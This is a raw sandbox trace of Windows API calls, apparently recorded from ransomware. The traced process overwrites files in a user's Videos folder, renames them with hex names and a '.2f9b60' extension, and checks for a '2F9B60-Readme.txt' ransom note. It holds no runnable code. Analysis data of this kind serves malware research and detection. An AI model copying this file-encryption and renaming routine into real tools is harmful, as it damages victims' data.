0x1cede210 [0120.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0120.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0120.067] WriteFile (in: hFile=0x1828, lpBuffer=0x1cede210*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25c2f840, lpOverlapped=0x0 | out: lpBuffer=0x1cede210*, lpNumberOfBytesWritten=0x25c2f840*=0x3c00, lpOverlapped=0x0) returned 1 [0122.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cede210) returned 1 [0122.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0122.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cda02f0 [0122.170] SetFilePointerEx (in: hFile=0x1828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.170] WriteFile (in: hFile=0x1828, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x25c2f8f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x25c2f8f0*=0x11c, lpOverlapped=0x0) returned 1 [0122.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0122.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0122.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda0270 [0122.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0122.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0122.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606f0) returned 1 [0122.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c490 [0122.873] sprintf (in: _Dest=0x1cd9c490, _Format="%c%c" | out: _Dest="8b") returned 2 [0122.873] sprintf (in: _Dest=0x1cd9c492, _Format="%c%c" | out: _Dest="53") returned 2 [0122.873] sprintf (in: _Dest=0x1cd9c494, _Format="%c%c" | out: _Dest="b8") returned 2 [0122.873] sprintf (in: _Dest=0x1cd9c496, _Format="%c%c" | out: _Dest="36") returned 2 [0122.873] sprintf (in: _Dest=0x1cd9c498, _Format="%c%c" | out: _Dest="6b") returned 2 [0122.873] sprintf (in: _Dest=0x1cd9c49a, _Format="%c%c" | out: _Dest="25") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c49c, _Format="%c%c" | out: _Dest="4b") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c49e, _Format="%c%c" | out: _Dest="24") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4a0, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4a2, _Format="%c%c" | out: _Dest="27") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4a4, _Format="%c%c" | out: _Dest="56") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4a6, _Format="%c%c" | out: _Dest="4f") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4a8, _Format="%c%c" | out: _Dest="b7") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4aa, _Format="%c%c" | out: _Dest="cf") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4ac, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4ae, _Format="%c%c" | out: _Dest="bc") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4b0, _Format="%c%c" | out: _Dest="64") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4b2, _Format="%c%c" | out: _Dest="de") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4b4, _Format="%c%c" | out: _Dest="cc") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4b6, _Format="%c%c" | out: _Dest="85") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4b8, _Format="%c%c" | out: _Dest="8c") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4ba, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.874] sprintf (in: _Dest=0x1cd9c4bc, _Format="%c%c" | out: _Dest="1f") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4be, _Format="%c%c" | out: _Dest="5f") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4c0, _Format="%c%c" | out: _Dest="84") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4c2, _Format="%c%c" | out: _Dest="3e") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4c4, _Format="%c%c" | out: _Dest="bf") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4c6, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4c8, _Format="%c%c" | out: _Dest="10") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4ca, _Format="%c%c" | out: _Dest="6c") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4cc, _Format="%c%c" | out: _Dest="3f") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4ce, _Format="%c%c" | out: _Dest="a9") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4d0, _Format="%c%c" | out: _Dest="78") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4d2, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4d4, _Format="%c%c" | out: _Dest="35") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4d6, _Format="%c%c" | out: _Dest="c6") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4d8, _Format="%c%c" | out: _Dest="b3") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4da, _Format="%c%c" | out: _Dest="db") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4dc, _Format="%c%c" | out: _Dest="bb") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4de, _Format="%c%c" | out: _Dest="1e") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4e0, _Format="%c%c" | out: _Dest="78") returned 2 [0122.875] sprintf (in: _Dest=0x1cd9c4e2, _Format="%c%c" | out: _Dest="fc") returned 2 [0122.876] RtlInitAnsiString (in: DestinationString=0x25c2f968, SourceString="8b53b8366b254b24fe27564fb7cfd5bc64decc858cd21f5f843ebf6c106c3fa9782c35c6b3dbbb1e78fc" | out: DestinationString="8b53b8366b254b24fe27564fb7cfd5bc64decc858cd21f5f843ebf6c106c3fa9782c35c6b3dbbb1e78fc") [0122.876] RtlAnsiStringToUnicodeString (in: DestinationString=0x25c2f938, SourceString="8b53b8366b254b24fe27564fb7cfd5bc64decc858cd21f5f843ebf6c106c3fa9782c35c6b3dbbb1e78fc", AllocateDestinationString=1 | out: DestinationString="8b53b8366b254b24fe27564fb7cfd5bc64decc858cd21f5f843ebf6c106c3fa9782c35c6b3dbbb1e78fc") returned 0x0 [0122.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0122.876] wcscat (in: _Dest=0x107c00, _Source="8b53b8366b254b24fe275" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275" [0122.876] wcscat (in: _Dest=0x107c00, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275.2f9b60" [0122.876] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275.2f9b60", NtPathName=0x25c2f910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8b53b8366b254b24fe275.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776e70 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776e70) returned 1 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49ee0) returned 1 [0123.221] NtQueryInformationFile (in: FileHandle=0x1828, IoStatusBlock=0x25c2f978, FileInformation=0x25c2f988, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25c2f978, FileInformation=0x25c2f988) returned 0x0 [0123.221] NtSetInformationFile (FileHandle=0x1828, IoStatusBlock=0x25c2f978, FileInformation=0x25c2f988, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107c00) returned 1 [0123.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0123.230] FlushFileBuffers (hFile=0x1828) returned 1 [0123.240] CloseHandle (hObject=0x1828) returned 1 [0123.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863170 [0123.265] wcscpy (in: _Dest=0x1b863170, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.265] wcscat (in: _Dest=0x1b863170, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863170) returned 1 [0123.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad4a0) returned 1 Thread: id = 1452 os_tid = 0x1904 [0120.069] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KWbWmaMqF8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\kwbwmamqf8.flv")) returned 0x20 [0120.069] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KWbWmaMqF8.flv", dwFileAttributes=0x20) returned 1 [0120.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\KWbWmaMqF8.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\kwbwmamqf8.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x182c [0120.070] GetFileSizeEx (in: hFile=0x182c, lpFileSize=0x40ccfd60 | out: lpFileSize=0x40ccfd60*=12267) returned 1 [0120.070] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x2fe7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.070] ReadFile (in: hFile=0x182c, lpBuffer=0x40ccfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40ccfd28, lpOverlapped=0x0 | out: lpBuffer=0x40ccfce0*, lpNumberOfBytesRead=0x40ccfd28*=0x4, lpOverlapped=0x0) returned 1 [0120.071] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a77f0 [0120.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8000 [0120.071] NtQuerySystemTime (in: CurrentTime=0x40ccfc20 | out: CurrentTime=0x40ccfc20*=132462177254626000) returned 0x0 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x79edb556 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x3ae335d2 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x5760f365 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x6cfd4e78 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x6cfd4e78 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x338a2ec5 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x9b06a4c [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x595fa193 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x525d8279 [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x2cade1ac [0120.071] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x76fdf7fa [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x15abaecd [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x6ea687d5 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x732e963 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x2c85fe35 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x5c87f935 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x61a179db [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x7ec3b800 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x2c85fe35 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x352bd502 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x2f4de3a4 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x337888b7 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x4dfb7477 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x6e1525ea [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0xac3eea8 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x3b805abd [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x2adf6c [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x5069495 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x10c1ea84 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x487b60cd [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x49e3ced9 [0120.072] RtlRandomEx (in: Seed=0x40ccfc10 | out: Seed=0x40ccfc10) returned 0x1c6f655a [0120.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fa0 [0120.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8030 [0120.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8000) returned 1 [0120.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0120.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0120.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0120.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceda600 [0120.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204b7790 [0120.081] ReadFile (in: hFile=0x182c, lpBuffer=0x1ceda600, nNumberOfBytesToRead=0x2feb, lpNumberOfBytesRead=0x40ccfc10, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesRead=0x40ccfc10*=0x2feb, lpOverlapped=0x0) returned 1 [0120.081] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.081] WriteFile (in: hFile=0x182c, lpBuffer=0x204b7790*, nNumberOfBytesToWrite=0x2feb, lpNumberOfBytesWritten=0x40ccfc14, lpOverlapped=0x0 | out: lpBuffer=0x204b7790*, lpNumberOfBytesWritten=0x40ccfc14*=0x2feb, lpOverlapped=0x0) returned 1 [0122.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0122.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0122.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0122.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204b7790) returned 1 [0122.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0122.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0122.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cda0370 [0122.174] SetFilePointerEx (in: hFile=0x182c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.174] WriteFile (in: hFile=0x182c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x40ccfd30, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x40ccfd30*=0x10e, lpOverlapped=0x0) returned 1 [0122.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e20 [0122.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e20) returned 1 [0122.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7e20 [0122.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f430 [0122.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f400 [0122.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f400) returned 1 [0122.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42059560 [0122.878] sprintf (in: _Dest=0x42059560, _Format="%c%c" | out: _Dest="00") returned 2 [0122.878] sprintf (in: _Dest=0x42059562, _Format="%c%c" | out: _Dest="5f") returned 2 [0122.878] sprintf (in: _Dest=0x42059564, _Format="%c%c" | out: _Dest="33") returned 2 [0122.878] sprintf (in: _Dest=0x42059566, _Format="%c%c" | out: _Dest="91") returned 2 [0122.878] sprintf (in: _Dest=0x42059568, _Format="%c%c" | out: _Dest="be") returned 2 [0122.878] sprintf (in: _Dest=0x4205956a, _Format="%c%c" | out: _Dest="9e") returned 2 [0122.878] sprintf (in: _Dest=0x4205956c, _Format="%c%c" | out: _Dest="03") returned 2 [0122.878] sprintf (in: _Dest=0x4205956e, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.879] sprintf (in: _Dest=0x42059570, _Format="%c%c" | out: _Dest="73") returned 2 [0122.879] sprintf (in: _Dest=0x42059572, _Format="%c%c" | out: _Dest="de") returned 2 [0122.879] sprintf (in: _Dest=0x42059574, _Format="%c%c" | out: _Dest="44") returned 2 [0122.879] sprintf (in: _Dest=0x42059576, _Format="%c%c" | out: _Dest="79") returned 2 [0122.879] sprintf (in: _Dest=0x42059578, _Format="%c%c" | out: _Dest="e5") returned 2 [0122.879] sprintf (in: _Dest=0x4205957a, _Format="%c%c" | out: _Dest="6e") returned 2 [0122.879] sprintf (in: _Dest=0x4205957c, _Format="%c%c" | out: _Dest="33") returned 2 [0122.879] sprintf (in: _Dest=0x4205957e, _Format="%c%c" | out: _Dest="5c") returned 2 [0122.879] sprintf (in: _Dest=0x42059580, _Format="%c%c" | out: _Dest="82") returned 2 [0122.879] sprintf (in: _Dest=0x42059582, _Format="%c%c" | out: _Dest="cf") returned 2 [0122.879] sprintf (in: _Dest=0x42059584, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.879] sprintf (in: _Dest=0x42059586, _Format="%c%c" | out: _Dest="ad") returned 2 [0122.879] sprintf (in: _Dest=0x42059588, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.879] sprintf (in: _Dest=0x4205958a, _Format="%c%c" | out: _Dest="e9") returned 2 [0122.879] sprintf (in: _Dest=0x4205958c, _Format="%c%c" | out: _Dest="a1") returned 2 [0122.879] sprintf (in: _Dest=0x4205958e, _Format="%c%c" | out: _Dest="f0") returned 2 [0122.879] sprintf (in: _Dest=0x42059590, _Format="%c%c" | out: _Dest="d7") returned 2 [0122.879] sprintf (in: _Dest=0x42059592, _Format="%c%c" | out: _Dest="ad") returned 2 [0122.879] sprintf (in: _Dest=0x42059594, _Format="%c%c" | out: _Dest="c6") returned 2 [0122.879] sprintf (in: _Dest=0x42059596, _Format="%c%c" | out: _Dest="7a") returned 2 [0122.879] RtlInitAnsiString (in: DestinationString=0x40ccfda8, SourceString="005f3391be9e03a473de4479e56e335c82cfa4ad5ae9a1f0d7adc67a" | out: DestinationString="005f3391be9e03a473de4479e56e335c82cfa4ad5ae9a1f0d7adc67a") [0122.879] RtlAnsiStringToUnicodeString (in: DestinationString=0x40ccfd78, SourceString="005f3391be9e03a473de4479e56e335c82cfa4ad5ae9a1f0d7adc67a", AllocateDestinationString=1 | out: DestinationString="005f3391be9e03a473de4479e56e335c82cfa4ad5ae9a1f0d7adc67a") returned 0x0 [0122.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503a10 [0122.880] wcscat (in: _Dest=0x1cd640b0, _Source="005f3391be9e03" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03" [0122.880] wcscat (in: _Dest=0x1cd640b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03.2f9b60" [0122.880] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03.2f9b60", NtPathName=0x40ccfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\005f3391be9e03.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x118880 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0123.221] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49a80) returned 1 [0123.221] NtQueryInformationFile (in: FileHandle=0x182c, IoStatusBlock=0x40ccfdb8, FileInformation=0x40ccfdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40ccfdb8, FileInformation=0x40ccfdc8) returned 0x0 [0123.221] NtSetInformationFile (FileHandle=0x182c, IoStatusBlock=0x40ccfdb8, FileInformation=0x40ccfdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd640b0) returned 1 [0123.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0123.233] FlushFileBuffers (hFile=0x182c) returned 1 [0123.243] CloseHandle (hObject=0x182c) returned 1 [0123.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd65340 [0123.269] wcscpy (in: _Dest=0x1cd65340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.269] wcscat (in: _Dest=0x1cd65340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.269] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 